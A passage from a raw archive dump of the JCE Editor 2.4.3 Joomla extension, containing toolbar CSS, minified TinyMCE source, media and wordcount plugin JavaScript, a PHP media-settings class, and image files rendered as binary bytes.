GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ body{margin:0;padding:0;width:100%;height:100%;}div#source-container{position:relative;background:#fefefe none;}div#source-toolbar{width:100%;background:#F7F7F7 none;border-bottom:1px solid #eee;padding:0 2px;font:10px Verdana,Arial,Helvetica,sans-serif;position:relative;float:left;}div#source-toolbar+div{clear:both;}div#source-toolbar span.source_search_container{margin:0 2px;position:relative;right:2px;text-align:right;display:inline-block;float:right;}div#source-toolbar span.button{display:inline-block;width:20px;height:20px;vertical-align:middle;border:1px solid #ccc;margin:2px 1px;background:url('../../../themes/advanced/img/icons.png') no-repeat 0 0;border-radius:2px;cursor:pointer;}div#source-toolbar span.button:first-child{margin-left:5px;}div#source-toolbar input[type="text"]{margin:1px 0;vertical-align:middle;width:150px;}div#source-toolbar span.button:hover{border:1px solid #0A246A;background-color:#B2BBD0;}div#source-toolbar span.button.active{border:1px solid #0A246A;background-color:#C2CBE0;}div#source-toolbar span.button.source_wrap{background-position:-100px -40px;}div#source-toolbar span.button.source_linenumbers{background-position:-120px -40px;}div#source-toolbar span.button.source_highlight{background-position:-140px -40px;}div#source-toolbar span.button.source_format{background-position:-400px 0;}div#source-toolbar span.button.source_search{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:0 0;}div#source-toolbar span.button.source_search_prev{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:-20px 0;}div#source-toolbar span.button.source_replace{background-position:-500px -20px;}div#source-toolbar span.button.source_replace_all{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:-40px 0;}label[for="source_search_regex"]{line-height:20px;vertical-align:middle;margin:0 5px 0 0;display:inline-block;}#source_search_regex{vertical-align:middle;}com_jce/editor/tiny_mce/plugins/source/img/icons.png000066600000002532150771500630016630 0ustar00PNG  IHDR<^) pHYs   IDATXolSUFe],4B4Ch `$,J. T1"jD $dVD Dc]qkvέKޤ>sr*'n%5,"kEd\*7/IU{BN9yBɞY<)C- swoXD{<@z[9׻pgmA ^YOCKDWVVjjj";_rekaQ#OD;Uu[.{>a\rHD),,,.--ѣAcUB_o^2{Dx{ۇ:԰iɥK%t1|>iebq.P(@AA>.\E(Ԍ*L2xↃvb1]Qi %˗/BCE.:lD~~>h'R7 09NhpFU׈Kva 5܌C,Pudy1/!3;x9;v?_kX#"k+yU]7{={s%"pm8bf ӾK-s~Н'2l:mCJRTu[IU}]$_DvV .u[ΰ{ڹjoFh4=INSm>2xbyN ⛂C j.6$3ITAU}o]2 ĘְeYdg$//{0eu,pLիTҶH<(l:i5ttN:F)3 ^2SÁ,qWr Kf,dۭuRNVlV0$#Fss4m=o'tV-=sXQRN0 }ʜ%xb pK ,p`s K91t4 ̰sԨQt`;8~ r4Ҳd꥜hۗ-o9Wg11,~i"3 \?@5P@yտX1 w}}&h-@ Pb/t1cU[p$^y+/Oʻ`ݠF+uKHN|L1g3|>+Qk]7BxZcom_jce/editor/tiny_mce/plugins/source/editor_plugin.js000066600000017351150771500630017442 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each;tinymce.create('tinymce.plugins.Source',{init:function(ed,url){var self=this;this.editor=ed;this.url=url;ed.addCommand('mceSource',function(){self.toggleSource();});this.invisibles=false;if(ed.onContextMenu){var cMenu=ed.onContextMenu.addToTop(function(ed,e){if(ed.plugins.source.state){return false;}});} ed.onInit.add(function(){var s=ed.getParam('source_state',false);if(typeof s!='undefined'){ed.settings.source_state=!s;self.toggleSource();} if(ed.onFullScreen){ed.onFullScreen.add(function(editor,state){if(!state){ed.settings.source_state=!editor.settings.source_state;each(['source_highlight','source_numbers','source_wrap'],function(s){ed.settings[s]=editor.settings[s];});self.toggleSource();}});}});ed.onBeforeExecCommand.add(function(ed,cmd,ui,val,o){var cm=ed.controlManager,se=self.getEditor();if(self.state&&se){switch(cmd){case'Undo':o.terminate=true;se.undo();cm.setDisabled('redo',false);return true;break;case'Redo':o.terminate=true;se.redo();cm.setDisabled('redo',true);return true;break;case'mcePrint':o.terminate=true;return self.printSource();break;case'mceFullScreen':if(self.getState()){ed.setContent(self.getContent());} break;}}});ed.onLoadContent.add(function(ed,o){if(self.getState()){self._disable();self.setContent();}});ed.onSetContent.add(function(ed,o){if(self.getState()){self.setContent();self._disable();}});ed.onSaveContent.add(function(ed,o){if(self.getState()){o.content=self.getContent();}});ed.onExecCommand.add(function(ed,cmd,ui,v,o){switch(cmd){case'mceCodeEditor':case'mceSource':self._disable();break;case'mceFullScreen':break;case'mceInsertContent':if(self.getState()){o.terminate=true;self._disable();self.insertContent(v);} break;}});ed.addButton('source',{title:'source.desc',cmd:'mceSource'});ed.onNodeChange.add(function(ed,cm,n){var s=self.getState();if(s){self._disable();}});ed.theme.onResize.add(function(){self.resize();});},_disable:function(){var self=this;window.setTimeout(function(){self.toggleDisabled();},0);},getWin:function(){var ed=this.editor,f=tinymce.DOM.get('wf_'+ed.id+'_source_iframe');if(f){return f.contentWindow;} return false;},getDoc:function(){var w=this.getWin();if(w){return w.document;} return false;},getContainer:function(){var se=this.getEditor();if(se){return se.getContainer();} return null;},getEditor:function(){var win=this.getWin();if(win){return win.SourceEditor||null;} return null;},getState:function(){return this.editor.getParam('source_state',false);;},setState:function(s){this.state=s;},getTop:function(){var ed=this.editor,container=ed.getContentAreaContainer();return container.offsetTop+1;},printSource:function(){},reInit:function(){this.toggleDisabled(),se=this.getEditor();if(this.getState()&&se){se.focus();}},setContent:function(v){var ed=this.editor,se=this.getEditor();if(typeof v=='undefined'){v=ed.getContent();} if(se){se.setContent(v,ed.getParam('source_format',true));}},insertContent:function(v){var DOM=tinymce.DOM,se=this.getEditor();if(se){se.insertContent(DOM.decode(v));}},getContent:function(){var se=this.getEditor();if(se){return se.getContent();}},resize:function(w,h,init){if(!this.state) return;var ed=this.editor,DOM=tinymce.DOM,ifr=DOM.get(ed.id+'_ifr'),se=this.getEditor();w=parseFloat(w)||ifr.clientWidth;h=parseFloat(h)||ifr.clientHeight;if(se){DOM.setStyles('wf_'+ed.id+'_source_iframe',{'width':w,'height':h});DOM.setStyles(this.getContainer(),{'width':w,'height':h});se.resize(w,h,init);}},toggleDisabled:function(){var ed=this.editor,DOM=tinymce.DOM,cm=ed.controlManager;var state=this.getState();var active=DOM.select('.mceButtonActive',DOM.get(ed.id+'_toolbargroup'));each(active,function(n){cm.setActive(n.id,!state);});each(DOM.select('.mceButton, .mceListBox, .mceSplitButton',DOM.get(ed.id+'_toolbargroup')),function(n){var id=n.id;if(n.className.indexOf('mceSplitButton')!==-1){id=n.parentNode.id;} if(id){cm.setDisabled(id,state);}});cm.setActive('source',state);cm.setActive('fullscreen',(ed.id=='mce_fullscreen'));cm.setDisabled('source',false);cm.setDisabled('fullscreen',false);},toggleSource:function(){var self=this,ed=this.editor,DOM=tinymce.DOM,cm=ed.controlManager;var se=this.getEditor();var state=this.getState();var iframe=DOM.get(ed.id+'_ifr');this.setState(!state);if(tinymce.isIE){DOM.setStyle(iframe.parentNode,'position','relative');} var editorpath=DOM.get(ed.id+'_path_row');var wordcount=DOM.get(ed.id+'-word-count');if(!state){if(editorpath){DOM.hide(editorpath);} if(wordcount){DOM.hide(wordcount.parentNode);} DOM.setStyle(iframe,'visiblity','hidden');DOM.setAttrib(iframe,'aria-hidden',true);window.setTimeout(function(){self.setHighlight(ed.getParam('source_highlight',true));if(se){se.focus();}},10);}else{if(se){ed.setContent(self.getContent());DOM.hide('wf_'+ed.id+'_source_container');DOM.setAttrib('wf_'+ed.id+'_source_container','aria-hidden',true);} DOM.setStyle(iframe,'visiblity','visible');iframe.removeAttribute('aria-hidden');if(editorpath){DOM.show(editorpath);} if(wordcount){DOM.show(wordcount.parentNode);} ed.setProgressState(false);} ed.settings.source_state=!state;},loadEditor:function(){var self=this,ed=this.editor,k,cm=ed.controlManager,DOM=tinymce.DOM,iframe=DOM.get(ed.id+'_ifr');var w=iframe.clientWidth,h=iframe.clientHeight;var container=DOM.create('div',{role:'textbox',style:{position:'absolute',top:tinymce.isIE?0:this.getTop()},id:'wf_'+ed.id+'_source_container','class':'WFSourceEditor'});DOM.insertAfter(container,iframe);var query=ed.getParam('site_url')+'index.php?option=com_jce';var args={'view':'editor','layout':'plugin','plugin':'source','component_id':ed.getParam('component_id')};args[ed.settings.token]=1;for(k in args){query+='&'+k+'='+encodeURIComponent(args[k]);} var iframe=DOM.create('iframe',{'frameborder':0,'scrolling':'no','id':'wf_'+ed.id+'_source_iframe','src':query,'style':{'width':w,'height':h}});tinymce.dom.Event.add(iframe,'load',function(){var editor=self.getEditor();var content=ed.getContent(),highlight=ed.getParam('source_highlight',true),wrap=ed.getParam('source_wrap',true),numbers=ed.getParam('source_numbers',true);editor.init({'wrap':wrap,'linenumbers':numbers,'highlight':highlight,'width':w,'height':h,'theme':ed.getParam('source_theme','textmate'),'format':ed.getParam('source_format',true),'tag_closing':ed.getParam('source_tag_closing',true),'selection_match':ed.getParam('source_selection_match',true),'font_size':ed.getParam('source_font_size',''),'load':function(){ed.setProgressState(false);if(tinymce.isIE&&!document.querySelector){ed.hide();ed.show();}},change:function(){ed.controlManager.setDisabled('undo',false);}},content);self.resize();});DOM.add(container,iframe);},setHighlight:function(s){var ed=this.editor,DOM=tinymce.DOM,se=this.getEditor();if(se){se.highlight(s);this.setContent();se.format();DOM.show('wf_'+ed.id+'_source_container');DOM.setAttrib('wf_'+ed.id+'_source_container','aria-hidden',false);DOM.setStyle('wf_'+ed.id+'_source_container','top',tinymce.isIE?0:this.getTop());this.resize();this.setNumbers(ed.getParam('source_numbers',true));this.setWrap(ed.getParam('source_wrap',true));ed.focus();ed.setProgressState(false);}else{ed.setProgressState(true);this.loadEditor();} ed.settings.source_highlight=!!s;},setWrap:function(s){var ed=this.editor,se=this.getEditor();ed.settings.source_wrap=!!s;if(se){se.wrap(s);}},setNumbers:function(s){var ed=this.editor,se=this.getEditor();ed.settings.source_numbers=!!s;if(se){return se.linenumbers(!!s);}},getInfo:function(){return{longname:'Source',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('source',tinymce.plugins.Source);})();com_jce/editor/tiny_mce/plugins/source/source.xml000066600000005013150771500630016252 0ustar00 WF_SOURCE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_SOURCE_DESC source com_jce/editor/tiny_mce/plugins/media/classes/index.html000066600000000054150771500630017441 0ustar00com_jce/editor/tiny_mce/plugins/media/classes/config.php000066600000003717150771500630017433 0ustar00getParam('media.iframes', 0)) { $tags[] = 'iframe'; } if ($wf->getParam('media.audio', 1)) { $tags[] = 'audio'; } if ($wf->getParam('media.video', 1)) { $tags[] = 'video'; } if (in_array('audio', $tags) || in_array('video', $tags)) { $tags[] = 'source'; } if ($wf->getParam('media.embed', 1)) { $tags[] = 'embed'; } if ($wf->getParam('media.object', 1)) { $tags[] = 'object'; $tags[] = 'param'; } $model->removeKeys($settings['invalid_elements'], $tags); $settings['media_strict'] = $wf->getParam('media.strict', 1, 1); $settings['media_version_flash'] = $wf->getParam('media.version_flash', '10,1,53,64', '10,1,53,64'); $settings['media_version_windowsmedia'] = $wf->getParam('media.version_windowsmedia', '10,00,00,3646', '10,00,00,3646'); $settings['media_version_shockwave'] = $wf->getParam('media.version_shockwave', '10,2,0,023', '10,2,0,023'); $settings['media_version_quicktime'] = $wf->getParam('media.version_quicktime', '7,3,0,0', '7,3,0,0'); $settings['media_version_java'] = $wf->getParam('media.version_java', '1,5,0,0', '1,5,0,0'); } } ?>com_jce/editor/tiny_mce/plugins/media/media.xml000066600000005366150771500630015623 0ustar00 WF_MEDIA_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_MEDIA_DESC com_jce/editor/tiny_mce/plugins/media/index.html000066600000000054150771500630016004 0ustar00com_jce/editor/tiny_mce/plugins/media/css/index.html000066600000000054150771500630016574 0ustar00com_jce/editor/tiny_mce/plugins/media/css/content.css000066600000003042150771500630016763 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceItemFlash,.mceItemShockWave,.mceItemQuickTime,.mceItemWindowsMedia,.mceItemRealMedia,.mceItemDivX,.mceItemSilverlight,.mceItemGeneric,.mceItemEmbed,.mceItemAudio,.mceItemVideo,.mceItemIframe{border:1px dotted #c00!important;background-position:center;background-repeat:no-repeat;background-color:#ffc;}.mceItemGeneric{min-width:50px;min-height:50px;}.mceItemGeneric,.mceItemEmbed{background-image:url(../img/generic.png);}.mceItemShockWave{background-image:url(../img/shockwave.png);}.mceItemFlash{background-image:url(../img/swf.png);}.mceItemQuickTime{background-image:url(../img/quicktime.png);}.mceItemWindowsMedia{background-image:url(../img/windowsmedia.png);}.mceItemRealMedia{background-image:url(../img/real.png);}.mceItemDivX{background-image:url(../img/video.png);}.mceItemSilverlight{background-image:url(../img/video.png);}.mceItemPDF{background-image:url(../img/pdf.png);}.mceItemIframe{background-image:url(../img/iframe.png);}.mceItemAudio{background-image:url(../img/audio.png);}.mceItemVideo{background-image:url(../img/video.png);}.mceItemAudio{width:200px;height:25px;}.mceItemAudio.mceItemAgentGecko{height:28px;}.mceItemAudio.mceItemAgentOpera,.mceItemAudio.mceItemAgentChrome,.mceItemAudio.mceItemAgentGecko{width:300px;}.mceItemAudio.mceItemAgentChrome{height:32px;}.mceItemSelected{border:1px dotted #999;background-color:#39f;}com_jce/editor/tiny_mce/plugins/media/img/pdf.png000066600000006222150771500630016045 0ustar00PNG  IHDRPu YIDAThX{Tՙ}vO eb %+I3đ*ɺ5EY$]Fkp71 jf#]bzo%R&"Z&  wfvssjōj~U={ss`#s G[W"'|pNlpwkE#y< |[xTo*_]y66$Y↕+?i=OlsG8@0@J~mYiwzp(<L&{>nt&|VPWWwA&U\\ܱ}O۟s9?Uۧqj>h<0H v k$pm۶u ǛfEV)U`w0?i@VW8/OYEy{ȶ/'I.UfyНJ,Nw]$,a"LJ*pd1y0](#-#DY dMWWҏ' bFψˁ@yd%q j;'b```k ii.8HR u_4M20_S`lߢ2>raΜ9 L$40m~ՍY-"_&yBeM%y/:E$]QQD"xDDL\ ` ,m~%GD"=ϻ]DfhSJ9$@ J~Er_oo=hY֥$."$8g_߿%iWi H.HsEd* T _2eʕmYDvۻ@n]:,"1_ /UVV ø6߿ٹsg;ɘt:}m&41ydOUUU4L˲8' 2<1 VBKcN 젓ĤIR ls"rzѣK[I ~ttus u2}*x y5gI~'OD"]DNycc;=J)G)HZ '浺P(qeM WVV^X/dZDeh߾}a@k}l?eXȋaf<?[bkE^Bxw6JKK?VD~ ʕR%GyUyvTJ=jkk=z "ҕL&O S 9Ky5IL-/&!Cls---QD䤈,s$$o>}z#GHN1Ms 7y`;eZ$9e_WH-iv466fV_\};$Șݻwl毵D7oc" +R||/ȿz'ɋΜ9S L&s丽{0Ms U)$;:LD3eHoڶm[G8|ZdxI3g0iFgss")47xJDܼٲQ|a g҂cǎP"PJ >q#lIRrMD?’֠/"F5_O:$"\'uM%"0E"Ҫ566R^D~blewyPh/><""RK1+Mblnn-Vt "rd-ɧ:>H /("wRT$LRM #"G};Htc"y?T*l0TTTZʦNzEVcતI|}5ao\{iȻA,+uuuPJu撤x<£s}RQQ&l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"Fī+E,07zGVgiP >Y;h8Pk ܺ)q x[+eN&2=:!os9hkCω,0F)zWƷu<{PbmpE6<}yz$*iBU8n@Gѧ=rrLϿtQt{($k.I@NIENDB`com_jce/editor/tiny_mce/plugins/media/img/index.html000066600000000054150771500630016560 0ustar00com_jce/editor/tiny_mce/plugins/media/img/trans.gif000066600000000053150771500630016400 0ustar00GIF89a!,D;com_jce/editor/tiny_mce/plugins/media/img/iframe.png000066600000001061150771500630016533 0ustar00PNG  IHDRatEXtSoftwareAdobe ImageReadyqe<IDATxڔSk"Q޺\4Z(FZDB\#יJXئSX\ }MX#o&I0˷3o7{O4 ?qm6nǨZZkb/G~H~҆i.DqmZT*fPeP4E8DNO/,۶r0 JߜC"x~# yv`0`x6\j,t:*evl6hċR ~_* zπbX1pr"lD*X,\ݸi_ȾontONg'_u DQL&VOgĚwt:͕K&ʹ\}>i.JդH?!$jQ U( rf(o*oHHy{F|y`l`@pBIENDB`com_jce/editor/tiny_mce/plugins/media/img/shockwave.png000066600000007027150771500630017272 0ustar00PNG  IHDR pHYs   IDATh p{/ !$5l[D$, XD R*:TDA[6XQhhB}o Nsgλ{ιԴ=Xc_䁀 j8.WG:}<5T TqFOnS. 0ޛÇO>pő#cjtx*8*Q8ca[Č:U݉8o N 6Uf]G-Bf]q!oρeTҬ,b{=OHb4Eߣ>;Bfp"[ x ~+9c"""R#ˀ>c y38_ݻnV]4.49j4V6zI *2Fmy%Ml豂 =zyPPPf99StI;@./p $l8} &xg H6vE{0:i7]L| ^ڄu#zˣ3i=`={[+<3<} Zyda>?`RG&\` <\ \OۧY :;u#dC=_j&+uإ`^1EZ޼x&*KudZeK[ w%'6X{zfw_:pzXsoL󁙀t7+y)Vh1(@\.^L11f0Rw#xƄޔo1? 8ѣw5'2mHZ2u1r+'CMf_]ǘǢ5kRX[leQ"e?{XsWTjo{~VqMXOdKź+N'w8s2F'Y~s˽N{^ڿ7Rd(λw 7S͂7{' Kv鶛/`RJaag40 aa&И Vl n[z dm60_㧰]-DE=8Ze"[ʆug7gM,]0zz8-aWw`gR9qDrCf)J ==NQ| *rŦ:h虀6꞉mQx,6 WWЦyo$&&ڕ*ȖrIA~?McQf zKvS/M<Jȫ2.&&ƭG.\z6p 'HW . "o34C5qE:ޙ_MS }r*yݝ?~Z`?"e5\T=1A'K,VN(x{gp[δAw>F>4oM` &GXOĔ_ngʫQdp>U^9y oVkwP)P9`h!M'|t!^;8-9.-&&%#˖,Zos/G΋HK^N)2YN:JEi׹ Js͞O3ڐ j@ L&Ph4chK+cFTUX,_@_ gw+Hht`0xs9Ʈ>k \.׵qBArv4  pu#|>wTPOO6$IrHRY*8T*V/CФl&Yi`ߩ &` M|>ǻmH~`9` z$7RBK4O \hmMV5 )ʣY(60*,\h:MΎ?[##@nrۭp\K(l\?A |>W,H; xvv#vT lu]E\H|#m 1rN.=O&5?l% 9` M cZ~6mXN¯}2v0& h1Qcl:l1O_[g mЋm=?U 0:qGIENDB`com_jce/editor/tiny_mce/plugins/media/editor_plugin.js000066600000040447150771500630017223 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,extend=tinymce.extend,JSON=tinymce.util.JSON;var Node=tinymce.html.Node;var Styles=new tinymce.html.Styles();var validChildren='#|address|blockquote|div|dl|fieldset|form|h1|h2|h3|h4|h5|h6|hr|menu|ol|p|pre|table|ul|a|abbr|b|bdo|br|button|cite|code|del|dfn|em|embed|i|iframe|img|input|ins|kbd|label|map|noscript|object|q|s|samp|script|select|small|span|strong|sub|sup|textarea|u|var|#text|#comment|article|aside|details|dialog|figure|header|footer|hgroup|section|nav|audio|canvas|command|datalist|mark|meter|output|progress|time|wbr|video|ruby|bdi|keygen|object';function toArray(obj){var undef,out,i;if(obj&&!obj.splice){out=[];for(i=0;true;i++){if(obj[i]) out[i]=obj[i];else break;} return out;} return obj;} function ucfirst(s){return s.charAt(0).toUpperCase()+s.substring(1);} var mediaTypes={"Flash":{classid:"CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,1,53,64"},"ShockWave":{classid:"CLSID:166B1BCA-3F9C-11CF-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=10,2,0,023"},"WindowsMedia":{classid:"CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=10,00,00,3646"},"QuickTime":{classid:"CLSID:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=7,3,0,0"},"DivX":{classid:"CLSID:67DABFBF-D0AB-41FA-9C46-CC0F21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},"RealMedia":{classid:"CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA",type:"audio/x-pn-realaudio-plugin"},"Java":{classid:"CLSID:8AD9C840-044E-11D1-B3E9-00805F499D93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},"Silverlight":{classid:"CLSID:DFEAF541-F3E1-4C24-ACAC-99C30715084A",type:"application/x-silverlight-2"},"Video":{type:'video/mp4'},"Audio":{type:'audio/mp3'},"Iframe":{}};tinymce.create('tinymce.plugins.MediaPlugin',{init:function(ed,url){var self=this,lookup={};var cbase={"Flash":{codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version="+ed.getParam('media_version_flash','10,1,53,64')},"ShockWave":{codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version="+ed.getParam('media_version_shockwave','10,2,0,023')},"WindowsMedia":{codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version="+ed.getParam('media_version_windowsmedia','10,00,00,3646')},"QuickTime":{codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version="+ed.getParam('media_version_quicktime','7,3,0,0')},"Java":{codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version="+ed.getParam('media_version_java','1,5,0,0')}};each(cbase,function(v,k){extend(mediaTypes[k],v);});this.mimes={};(function(data){var items=data.split(/,/),i,y,ext;for(i=0;i]*?)>([\w\W]+?)<\/\1>/gi,function(a,b,c,d){d=d.replace(//gi,'');d=d.replace(//gi,function(a,b){return'';});d=d.replace(//gi,'');return'<'+b+c+'>'+d+'';});o.content=h;});},getInfo:function(){return{longname:'Media',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};},convertUrl:function(url,force_absolute){var self=this,ed=self.editor,settings=ed.settings,converter=settings.url_converter,scope=settings.url_converter_scope||self;if(!url) return url;var parts,query='',n=url.indexOf('?');if(n===-1){url=url.replace(/&/g,'&');n=url.indexOf('&');} if(n>0){query=url.substring(n+1,url.length),url=url.substr(0,n);} if(force_absolute){url=ed.documentBaseURI.toAbsolute(url);}else{url=converter.call(scope,url,'src','object');} return url+(query?'?'+query:'');},createTemplate:function(n,o){var self=this,ed=this.editor,dom=ed.dom,nn,hc,cn,html,v;hc=n.firstChild;nn=n.name;o=o||{};function is_child(n){return/^(audio|embed|object|video|iframe)$/.test(n.parent.name);} if(/^(audio|embed|object|param|source|video|iframe)$/.test(nn)){var at=this.serializeAttributes(n);switch(nn){case'audio':case'embed':case'object':case'video':case'iframe':case'param':if(hc||is_child(n)){if(typeof o[nn]=='undefined'){o[nn]={};} extend(o[nn],at);o=o[nn];}else{extend(o,at);} break;case'source':if(typeof o[nn]=='undefined'){o[nn]=[];} o[nn].push(at);break;} if(hc){cn=n.firstChild;while(cn){self.createTemplate(cn,o);cn=cn.next;}}}else{if(nn=='comment'){if(v=n.attr('data-comment-condition')){if(typeof o[nn]=='undefined'){o[nn]={};} extend(o[nn],{'data-comment-condition':v});if(hc){cn=n.firstChild;o=o[nn];while(cn){self.createTemplate(cn,o);cn=cn.next;}}}else{v=new tinymce.html.Serializer({inner:true,validate:false}).serialize(n);if(typeof o[nn]=='undefined'){o[nn]=[tinymce.trim(v)];}else{o[nn].push(tinymce.trim(v));}}}else{if(nn=='#text'){html=n.value;}else{html=new tinymce.html.Serializer().serialize(n);}}} html=tinymce.trim(html);if(html){if(typeof o.html=='undefined'){o.html=[];} o.html.push(html);} return o;},toImage:function(n){var self=this,ed=this.editor,type,name,o={},data={},classid='',styles,matches;if(!n.parent||/^(object|audio|video|embed|iframe)$/.test(n.parent.name)) return;var img=new Node('img',1);if(n.name==='script'){if(n.firstChild) matches=/(JCEMediaObject|write(Flash|ShockWave|QuickTime|RealMedia|WindowsMedia|DivX))/i.exec(n.firstChild.value);if(!matches) return;type=matches[1].toLowerCase();data=JSON.parse(matches[2]);w=data.width;h=data.height;name='object';}else{name=n.name;var style=Styles.parse(n.attr('style'));var w=n.attr('width')||style.width||'';var h=n.attr('height')||style.height||'';var type=n.attr('type');data=this.createTemplate(n);if(name=='embed'&&type=='application/x-shockwave-flash'){name='object';data.param={};each(['bgcolor','flashvars','wmode','allowfullscreen','allowscriptaccess','quality'],function(k){var v=n.attr(k);if(v){if(k=='flashvars'){try{v=encodeURIComponent(v);}catch(e){}} data.param[k]=v;} delete data[k];});} each(['audio','embed','object','video','iframe'],function(el){each(n.getAll(el),function(node){node.remove();});});if(n.attr('classid')){classid=n.attr('classid').toUpperCase();} if(name=='object'){if(!data.data){var param=data.param;if(param){data.data=param.src||param.url||param.movie||param.source;}}}else{if(!data.src&&data.source){if(data.source.length>1){data.src=data.source[0].src;}}} var lookup=this.lookup[classid]||this.lookup[type]||this.lookup[name]||{name:'generic'};type=lookup.name||type;var style=Styles.parse(n.attr('style'));each(['bgcolor','align','border','vspace','hspace'],function(na){var v=n.attr(na);if(v){switch(na){case'bgcolor':style['background-color']=v;break;case'align':if(/^(left|right)$/.test(v)){style['float']=v;}else{style['vertical-align']=v;} break;case'vspace':style['margin-top']=v;style['margin-bottom']=v;break;case'hspace':style['margin-left']=v;style['margin-right']=v;break;default:style[na]=v;break;}}});each(['id','lang','dir','tabindex','xml:lang','style','title'],function(at){img.attr(at,n.attr(at));});if(styles=ed.dom.serializeStyle(style)){img.attr('style',styles);}} o[name]=data;n.replace(img);var classes=[];if(n.attr('class')){classes=n.attr('class').split(' ');} name=name.toLowerCase();classes.push('mceItem'+ucfirst(name));if(type&&name!==type.toLowerCase()){classes.push('mceItem'+ucfirst(type));} if(name=='audio'){var agent=navigator.userAgent.match(/(Opera|Chrome|Safari|Gecko)/);if(agent){classes.push('mceItemAgent'+ucfirst(agent[0]));}} img.attr({src:this.url+'/img/trans.gif',width:w,height:h,'class':classes.join(' '),'data-mce-json':JSON.serialize(o)});},serializeAttributes:function(n){var ed=this.editor,self=this,dom=this.editor.dom,attribs={},ti='',k,v;if(n!='iframe'||n!='param'){var type=n.attr('type'),src=n.attr('src')||n.attr('data');if(!type&&src){var ext;if(/\.([a-z0-9]{2,4})/.test(src)){ext=/\.([a-z0-9]{2,4})/.exec(src);ext=ext[1]||'';} if(ext){attribs.type=this.mimes[ext];}}} if(n.name=='param'){k=n.attr('name');v=n.attr('value');if(k&&v!=''){if(k=='flashvars'){try{v=encodeURIComponent(v);}catch(e){}}} attribs[k]=v;}else{for(k in n.attributes.map){v=n.attributes.map[k];switch(k){case'poster':case'src':case'data':attribs[k]=self.convertUrl(v);break;case'autoplay':case'controls':case'loop':case'seamless':case'allowfullscreen':attribs[k]=k;break;case'frameborder':if(parseInt(v)==0&&ed.settings.schema==='html5'){attribs['seamless']='seamless';}else{attribs[k]=v;} break;case'type':attribs[k]=v.replace(/"/g,"'");break;default:attribs[k]=v;break;}}} if(n.name=='embed'&&n.parent.name=='object'){var params=n.parent.getAll('param');if(params){each(params,function(p){k=p.attr('name');v=p.attr('value');if(k&&v!=''){if(k=='flashvars'){try{v=encodeURIComponent(v);}catch(e){}}} attribs[k]=v;});}} return attribs;},createNodes:function(data,el){var self=this,ed=this.editor,s,dom=ed.dom;function createNode(o,el){each(o,function(v,k){var nn=el.name,n;if(tinymce.is(v,'object')){if(/(param|source)/.test(nn)&&/(audio|embed|object|video)/.test(k)){el=el.parent;} if(k=='comment'){var node=new Node('#comment',8);node.value=v['data-comment-condition']+'>';delete v['data-comment-condition'];el.append(node);createNode(v,el);node=new Node('#comment',8);node.value='com_jce/editor/tiny_mce/plugins/wordcount/editor_plugin.js000066600000004177150771500630020170 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create("tinymce.plugins.WordCount",{block:0,id:null,countre:null,cleanre:null,init:function(c,d){var e=this,f=0,g=tinymce.VK;e.countre=c.getParam("wordcount_countregex",/[\w\u2019\'-]+/g);e.cleanre=c.getParam("wordcount_cleanregex",/[0-9.(),;:!?%#$?\'\"_+=\\\/-]*/g);e.update_rate=c.getParam("wordcount_update_rate",2000);e.update_on_delete=c.getParam("wordcount_update_on_delete",false);e.id=c.id+"-word-count";c.onPostRender.add(function(i,h){var 